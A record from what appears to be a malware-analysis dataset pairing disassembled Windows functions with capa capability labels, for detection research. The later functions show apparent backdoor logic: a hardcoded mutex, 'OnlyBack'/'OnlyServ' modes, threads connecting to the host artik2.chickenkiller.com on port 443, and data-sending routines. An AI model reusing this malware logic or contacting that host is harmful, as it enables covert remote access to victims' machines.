joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a3d4
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x190]
push 0x41310c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [0x416778], ebx
lea esi, [ebp + eax - 0x18f]
je 0x40a47b
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 0xc]
push 0x1f
push ebx
push dword [ebp + 8]
push dword [eax*4 + 0x413030]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a4a8
push ebx
push ebx
push ebx
lea eax, [ebp - 0x10]
push ebx
push eax
push esi
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push dword [ebp - 0xc]
mov esi, eax
call edi
cmp esi, ebx
jne 0x40a4a8
push dword [ebp + 0xc]
lea eax, [ebp - 0x190]
push eax
call fcn.0040a3d4
pop ecx
pop ecx
jmp 0x40a4af
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40a4a8
push 0x100
push esi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push dword [ebp - 8]
mov esi, eax
jmp 0x40a462
mov dword [ebp - 4], 0x800
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x800
jl 0x40a3eb
cmp dword [0x416778], ebx
pop edi
pop esi
pop ebx
push dword [ebp + 8]
je 0x40a4d9
mov eax, dword [ebp + 0xc]
push dword [eax*4 + 0x413030]
jmp 0x40a4de
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
leave
ret

Function at 0x40a552
Capabilities:
Delete directory

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 0
push edi
call fcn.0040a82e
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
cmp dword [0x4167b8], 0
je 0x40a58e
test esi, esi
jne 0x40a58e
mov eax, dword [0x416c4c]
test eax, eax
je 0x40a58e
push esi
push edi
push 1
push 0x10
call eax
mov eax, esi
pop edi
pop esi
ret
Function at 0x40a82e
Capabilities:
Set file attributes

Disassembly:
cmp dword [esp + 8], 0
jne 0x40a83d
mov dword [esp + 8], 0x80
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
neg eax
sbb eax, eax
inc eax
ret

Function at 0x40aa86
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
dec ecx
mov eax, ecx
ret

Function at 0x40aa9c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor edi, edi
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.0040a8e7
cmp dword [0x416778], edi
pop ecx
pop ecx
mov dword [ebp - 4], edi
je 0x40ab38
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll__lopen]
mov ebx, eax
cmp ebx, edi
jl 0x40ab38
push esi
mov esi, dword [sym.imp.KERNEL32.dll__lread]
lea eax, [ebp + 0xa]
push 2
push eax
push ebx
call esi
cmp word [ebp + 0xa], 0x5a4d
jne 0x40ab30
push edi
mov edi, dword [sym.imp.KERNEL32.dll__llseek]
push 0x3c
push ebx
call edi
lea eax, [ebp - 8]
push 4
push eax
push ebx
call esi
push 0
push dword [ebp - 8]
push ebx
call edi
lea eax, [ebp + 0xa]
push 2
push eax
push ebx
call esi
cmp word [ebp + 0xa], 0x4550
jne 0x40ab30
mov dword [ebp - 4], 1
push ebx
call dword [sym.imp.KERNEL32.dll__lclose]
pop esi
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret

Function at 0x40acf0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
lea eax, [ebp - 0x20]
push dword [ebp + 0xc]
push str.Msg_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, dword [ebp + 0x10]
add esp, 0xc
lea eax, [ebp - 0x20]
push dword [0x416b7c]
push dword [ebp + 0x14]
push ebx
push 0x413820
push eax
push str.Language
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [ebx], 0x7f
mov dword [ebp + 0x10], eax
jne 0x40ad53
cmp eax, 1
jne 0x40ad53
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_LoadStringA]
mov eax, dword [ebp + 0x10]
pop ebx
leave
ret
push edi
push 0x7c
push ebx
call fcn.0040bf9f
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x40ad9e
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x220]
push eax
call esi
push 0x413810
push edi
call esi
lea eax, [ebp - 0x220]
add edi, 2
push eax
push edi
call esi
push 0x7c
push ebx
call fcn.0040bf9f
mov edi, eax
pop ecx
test edi, edi
pop ecx
jne 0x40ad6b
pop esi
push 0x7e
push ebx
call fcn.0040bf9f
pop ecx
pop ecx
pop edi
test eax, eax
je 0x40ad4d
push 0x7e
push ebx
mov byte [eax], 0x20
call fcn.0040bf9f
pop ecx
pop ecx
jmp 0x40ada9
Function at 0x40b0c0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
push dword [0x416760]
call dword [sym.imp.USER32.dll_GetDC]
push dword [0x416b7c]
mov ebx, eax
mov edi, 0x100
lea eax, [ebp - 0x100]
push edi
push eax
push 0x416590
mov esi, str.Settings
push str.Text_Font
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [ebp - 0x100], 0
je 0x40b126
push edi
call fcn.0040b7c4
pop ecx
mov dword [0x416764], eax
lea ecx, [ebp - 0x100]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [0x416b7c]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push str.Font_Character_Set
push esi
call edi
push dword [0x416b7c]
mov byte [0x4167ac], al
push 8
push str.Font_Character_Size
push esi
call edi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xe
push ebx
mov byte [0x41680c], al
call esi
push 0xc
push ebx
call esi
push 8
push ebx
call esi
push 0xa
push ebx
mov dword [0x41686c], eax
call esi
pop edi
pop esi
mov dword [0x416870], eax
pop ebx
leave
ret
Function at 0x40b482
Capabilities:
Copy file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x500
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
push 0
push ebx
push dword [ebp + 8]
call esi
test eax, eax
je 0x40b4b1
push dword [ebp + 8]
call fcn.00409f59
pop ecx
jmp 0x40b648
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0040b64d
pop ecx
lea eax, [ebp - 0x300]
pop ecx
push 0
push eax
push dword [ebp + 8]
call esi
test eax, eax
jne 0x40b4d5
push ebx
jmp 0x40b4a6
push 1
pop edi
push dword [ebp + 8]
mov dword [0x4167c0], edi
call fcn.00409f59
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ecx
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x200]
push eax
call esi
lea eax, [ebp - 0x100]
push ebx
push eax
call esi
xor esi, esi
lea eax, [ebp - 0x200]
push esi
push eax
call fcn.0040a8e7
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.0040a8e7
mov eax, dword [0x416778]
add esp, 0x10
cmp eax, 2
jne 0x40b553
lea eax, [ebp - 0x200]
push str.WININIT.INI
push eax
lea eax, [ebp - 0x100]
push eax
push str.rename
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x40b648
cmp eax, edi
jne 0x40b574
push 4
push esi
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
call esi
push 4
lea eax, [ebp - 0x200]
push ebx
push eax
call esi
jmp 0x40b648
lea eax, [ebp - 0x100]
push eax
call fcn.0040b692
push eax
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x500]
push str.del__s_r_nrename__s__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x100]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x101], 0x5c
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40b5e1
lea eax, [ebp - 0x100]
push 0x41310c
push eax
call ebx
lea eax, [ebp - 0x100]
push 0x4137d0
push eax
call ebx
lea eax, [ebp - 0x100]
push edi
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40b616
lea eax, [ebp - 0x100]
push esi
push eax
call dword [sym.imp.KERNEL32.dll__lcreat]
mov edi, eax
jmp 0x40b620
push 2
push esi
push edi
call dword [sym.imp.KERNEL32.dll__llseek]
cmp edi, 0xffffffff
je 0x40b648
lea eax, [ebp - 0x500]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x500]
push eax
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
push edi
call dword [sym.imp.KERNEL32.dll__lclose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b6b4
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
cmp dword [0x416778], 2
push esi
push edi
jne 0x40b7b3
lea eax, [ebp - 0x100]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x100]
push eax
call esi
cmp byte [ebp + eax - 0x101], 0x5c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40b70b
lea eax, [ebp - 0x100]
push 0x41310c
push eax
call edi
lea eax, [ebp - 0x100]
push str.WININIT.INI
push eax
call edi
lea eax, [ebp - 0x100]
push 1
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov edi, eax
cmp edi, 0xffffffff
je 0x40b773
push dword [ebp + 8]
lea eax, [ebp - 0x300]
push str.NUL_s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll__llseek]
lea eax, [ebp - 0x300]
push eax
call esi
push eax
lea eax, [ebp - 0x300]
push eax
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
push edi
call dword [sym.imp.KERNEL32.dll__lclose]
jmp 0x40b7c0
lea eax, [ebp - 0x100]
push 0
push eax
call dword [sym.imp.KERNEL32.dll__lcreat]
mov edi, eax
cmp edi, 0xffffffff
je 0x40b7c0
push dword [ebp + 8]
lea eax, [ebp - 0x300]
push str._rename__r_nNUL_s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x300]
push eax
call esi
push eax
lea eax, [ebp - 0x300]
jmp 0x40b762
push 4
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
pop edi
pop esi
leave
ret

Function at 0x40bcff
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, word [ebp + 8]
push esi
push 2
push eax
xor esi, esi
push dword [0x416b50]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40bd94
push edi
push eax
push dword [0x416b50]
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
lea eax, [ebp + 8]
push eax
push esi
call fcn.0040bd99
pop ecx
pop ecx
mov ecx, dword [ebp + 0xc]
test eax, eax
mov dword [ecx], eax
je 0x40bd67
push 0
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectPalette]
push edi
call dword [sym.imp.GDI32.dll_RealizePalette]
mov eax, dword [esi]
mov ecx, dword [ebp + 8]
push 0
push esi
lea eax, [eax + ecx*4]
add eax, esi
push eax
push 4
push esi
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push edi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x401000
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x414004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov dword [ebp - 0x224], edx
push 0x9c40
mov esi, ecx
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x214], edi
call fcn.00401854
push 0x9c40
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], edi
call fcn.00401854
add esp, 8
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x208], edi
push eax
push 0x9c40
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x4011fb
mov eax, dword [ebp - 0x20c]
shr eax, 2
push ebx
xor ebx, ebx
mov dword [ebp - 0x20c], eax
test eax, eax
je 0x4011fa
add esi, 8
mov dword [ebp - 0x21c], esi
mov eax, dword [ebp - 0x210]
push dword [eax + ebx*4]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4011e7
lea eax, [ebp - 0x208]
push eax
push 0x9c40
push dword [ebp - 0x218]
push edi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x4011e0
mov eax, dword [ebp - 0x208]
xor esi, esi
shr eax, 2
mov dword [ebp - 0x208], eax
test eax, eax
je 0x4011e0
nop dword [eax + eax]
push 0
push 0x200
lea eax, [ebp - 0x204]
push eax
mov eax, dword [ebp - 0x218]
push dword [eax + esi*4]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x401147
mov cx, word [ebp - 0x1c4]
mov eax, 0x7277
cmp cx, ax
je 0x401155
mov eax, 0x7273
cmp cx, ax
je 0x401155
mov eax, 0x7268
cmp cx, ax
je 0x401155
inc esi
cmp esi, dword [ebp - 0x208]
jb 0x401100
jmp 0x4011e0
mov eax, dword [ebp - 0x224]
mov edx, dword [ebp - 0x214]
cmp edx, dword [eax]
jae 0x4011d6
mov eax, dword [ebp - 0x210]
mov esi, dword [ebp - 0x21c]
mov eax, dword [eax + ebx*4]
mov dword [esi - 8], eax
mov eax, 0x7277
mov word [esi - 4], cx
cmp cx, ax
jne 0x4011a8
mov eax, dword [ebp - 0x1c2]
inc edx
mov ecx, dword [ebp - 0x1be]
mov dword [esi], eax
mov dword [esi + 4], ecx
add esi, 0x10
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x21c], esi
jmp 0x4011e0
xorps xmm0, xmm0
inc edx
movlpd qword [ebp - 0x220], xmm0
mov ecx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x220]
mov dword [esi], eax
mov dword [esi + 4], ecx
add esi, 0x10
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x21c], esi
jmp 0x4011e0
mov dword [ebp - 0x228], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [ebp - 0x20c]
jb 0x4010a1
mov edi, dword [ebp - 0x214]
pop ebx
push dword [ebp - 0x210]
call fcn.00401811
push dword [ebp - 0x218]
call fcn.00401811
mov eax, dword [ebp - 0x224]
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [eax], edi
mov eax, dword [ebp - 0x228]
pop edi
pop esi
call fcn.00401800
mov esp, ebp
pop ebp
ret
Function at 0x40106b
Capabilities:
Create tcp socket
Create thread
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff40
push esi
push edi
push ebx
push 6
push 1
push 2
call sub.ws2_32.dll_socket
mov ebx, eax
mov dword [ebp - 0x54], 0xffffffff
push 0x10
push 0
lea eax, [ebp - 0x28]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov word [ebp - 0x28], 2
push 0x10
lea eax, [ebp - 0x28]
push eax
push ebx
call sub.ws2_32.dll_bind
mov dword [ebp - 0x4c], 0
push 0
push 0
lea eax, [ebp - 0x58]
push eax
push 4
lea eax, [ebp - 0x4c]
push eax
push 0x10
push 0x40903f
push 0xc8000006
push ebx
call sub.ws2_32.dll_WSAIoctl
cmp dword [ebp - 0x4c], 0
je 0x4011ab
mov word [ebp - 0x38], 2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
push dword [ebp + 0xc]
call sub.ws2_32.dll_htons
mov word [ebp - 0x36], ax
push 0x14
push 0
lea eax, [ebp - 0x14]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
call sub.ws2_32.dll_WSACreateEvent
mov dword [ebp - 0x50], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x1c
lea eax, [ebp - 0x38]
push eax
push ebx
call dword [ebp - 0x4c]
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x3e5
jne 0x40119d
push 1
push 0x7d0
push 0
lea eax, [ebp - 0x50]
push eax
push 1
call sub.ws2_32.dll_WSAWaitForMultipleEvents
cmp eax, 0x102
jne 0x40115c
push ebx
call sub.KERNEL32.dll_CancelIo
push ebx
call fcn.004011fa
jmp 0x4011a3
lea eax, [ebp - 0xc0]
push eax
push 0
push ebx
push 0x4011b5
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push eax
call sub.KERNEL32.dll_CloseHandle
push 0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.KERNEL32.dll_GetOverlappedResult
or eax, eax
je 0x40119b
push ebx
call fcn.004011fa
mov dword [ebp - 0x54], 1
jmp 0x4011a3
push ebx
call fcn.004011fa
push dword [ebp - 0x50]
call sub.ws2_32.dll_WSACloseEvent
mov eax, dword [ebp - 0x54]
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x4011fa
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push esi
push edi
push ebx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push 0x10
push 0x40904f
push 0xc8000006
push dword [ebp + 8]
call sub.ws2_32.dll_WSAIoctl
cmp dword [ebp - 4], 0
je 0x401247
push 0
push 2
push 0
push dword [ebp + 8]
call dword [ebp - 4]
jmp 0x40127d
mov word [ebp - 0xc], 1
mov word [ebp - 0xa], 0
push 4
lea eax, [ebp - 0xc]
push eax
push 0x80
push 0xffff
push dword [ebp + 8]
call sub.ws2_32.dll_setsockopt
push 2
push dword [ebp + 8]
call sub.ws2_32.dll_shutdown
push dword [ebp + 8]
call sub.ws2_32.dll_closesocket
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x401696
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff20
push esi
push edi
push ebx
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x2c]
xor edx, edx
mov ecx, 0x20
div ecx
mov ecx, 0x10
xor edx, edx
div ecx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x14]
mov dword [ebp - 8], edi
add dword [ebp - 8], 8
mov eax, dword [esi + 0x2c]
mov ecx, 0x10
xor edx, edx
div ecx
mov dword [edi], eax
mov ecx, 0x10
xor edx, edx
div ecx
mov dword [ebp - 0x10], eax
mov edx, dword [esi + 0x2c]
mov dword [edi + 4], edx
mov eax, edx
mov ecx, 0x10
xor edx, edx
div ecx
mov dword [ebp - 0x14], eax
mov edi, dword [ebp + 0x14]
add edi, dword [edi]
add edi, 8
mov ebx, edi
push dword [esi + 0x2c]
push 0
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xe0], 0
jmp 0x40178a
push 0x14
call sub.msvcrt.dll_malloc
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x14]
mul edx
mov dword [ecx], edi
add dword [ecx], eax
mov dword [ecx + 4], esi
add dword [ecx + 4], eax
mov dword [ecx + 8], ebx
add dword [ecx + 8], eax
mov edx, dword [ebp - 4]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x10]
mul edx
mov edx, dword [ebp - 8]
mov dword [ecx + 0x10], edx
add dword [ecx + 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 1
push ecx
push 0x4017db
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov ecx, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
mov dword [edx + ecx*4], eax
inc dword [ebp - 0xe0]
cmp dword [ebp - 0xe0], 0x10
jne 0x40171f
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0xdc]
push eax
push 0x10
call sub.KERNEL32.dll_WaitForMultipleObjects
lea ebx, [ebp - 0xdc]
mov dword [ebp - 0xe0], 0
jmp 0x4017cb
mov ecx, dword [ebp - 0xe0]
push dword [ebx + ecx*4]
call sub.KERNEL32.dll_CloseHandle
inc dword [ebp - 0xe0]
cmp dword [ebp - 0xe0], 0x10
jne 0x4017b7
pop ebx
pop edi
pop esi
leave
ret 0x10
Function at 0x401b22
Capabilities:
Check mutex on windows
Create thread
Initialize winsock library

Disassembly:
push 0x409a86
call fcn.00402b03
mov ebx, eax
lea esi, [0x409a86]
add esi, 4
dec ebx
jmp 0x401b76
push str.OnlyBack
push dword [esi]
call sub.KERNEL32.dll_lstrcmpiA
or eax, eax
jne 0x401b56
mov dword [0x409278], 1
jmp 0x401b7a
push str.OnlyServ
push dword [esi]
call sub.KERNEL32.dll_lstrcmpiA
or eax, eax
jne 0x401b72
mov dword [0x409278], 2
jmp 0x401b7a
add esi, 4
dec ebx
or ebx, ebx
jne 0x401b3a
push str.lm4lkfsd90i1lk_11____
push 1
push 0
call sub.KERNEL32.dll_CreateMutexA
mov dword [0x409a82], eax
call sub.KERNEL32.dll_GetLastError
or eax, eax
je 0x401ba8
push dword [0x409a82]
call sub.KERNEL32.dll_CloseHandle
push 0
call sub.KERNEL32.dll_ExitProcess
push 0x401f57
call sub.KERNEL32.dll_SetUnhandledExceptionFilter
push 0x4098f4
push 0x202
call sub.ws2_32.dll_WSAStartup
push 0x4098d8
call sub.KERNEL32.dll_InitializeCriticalSection
cmp dword [0x409278], 2
jne 0x401c10
push 0x4098f0
push 1
push 0x1bb
push 0x401cb0
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x409a82], eax
push 0xffffffffffffffff
push dword [0x409a82]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [0x409a82]
call sub.KERNEL32.dll_CloseHandle
jmp 0x401ca9
cmp dword [0x409278], 1
jne 0x401c52
push 0x4098f0
push 1
push str.artik2.chickenkiller.com
push 0x402832
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x409a82], eax
push 0xffffffffffffffff
push dword [0x409a82]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [0x409a82]
call sub.KERNEL32.dll_CloseHandle
jmp 0x401ca9
push 0x4098f0
push 1
push 0x1bb
push 0x401cb0
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push eax
call sub.KERNEL32.dll_CloseHandle
push 0x4098f0
push 1
push str.artik2.chickenkiller.com
push 0x402832
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x409a82], eax
push 0xffffffffffffffff
push dword [0x409a82]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [0x409a82]
call sub.KERNEL32.dll_CloseHandle
push 0
call sub.KERNEL32.dll_ExitProcess
Function at 0x402641
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov ebx, edi
jmp 0x402680
cmp edi, 0x1000
jbe 0x40265e
mov edi, 0x1000
push 0
push edi
push esi
push dword [ebp + 8]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x402673
or eax, eax
jne 0x40267a
mov ebx, 0xffffffff
jmp 0x402684
add esi, eax
sub ebx, eax
mov edi, ebx
or ebx, ebx
jne 0x402651
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret 0xc

Function at 0x402b03
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
call sub.KERNEL32.dll_GetCommandLineA
lea edx, [eax - 1]
xor eax, eax
mov esi, dword [ebp + 8]
lea edi, [esi + 0x100]
mov ch, 0x20
mov bl, 9
inc edx
mov cl, byte [edx]
test cl, cl
je 0x402b67
cmp cl, 0x20
je 0x402b20
cmp cl, 9
je 0x402b20
inc eax
mov dword [esi], edi
add esi, 4
mov cl, byte [edx]
test cl, cl
jne 0x402b46
mov byte [edi], cl
pop ebx
pop edi
pop esi
leave
ret 4
cmp cl, ch
je 0x402b61
cmp cl, bl
je 0x402b61
cmp cl, 0x22
jne 0x402b5b
xor ch, 0x20
xor bl, 9
jmp 0x402b5e
mov byte [edi], cl
inc edi
inc edx
jmp 0x402b37
mov byte [edi], 0
inc edi
jmp 0x402b20
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x402bc1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
pushal
mov dword [ebp - 4], 0xffffffff
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.KERNEL32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x402c22
mov dword [ebp - 8], eax
push 2
push 0
push 0
push dword [ebp - 8]
call sub.KERNEL32.dll_SetFilePointer
push 0
push esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call sub.KERNEL32.dll_WriteFile
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
mov dword [ebp - 4], 0
popal
mov eax, dword [ebp - 4]
pop ebx
pop esi
pop edi
leave
ret 0xc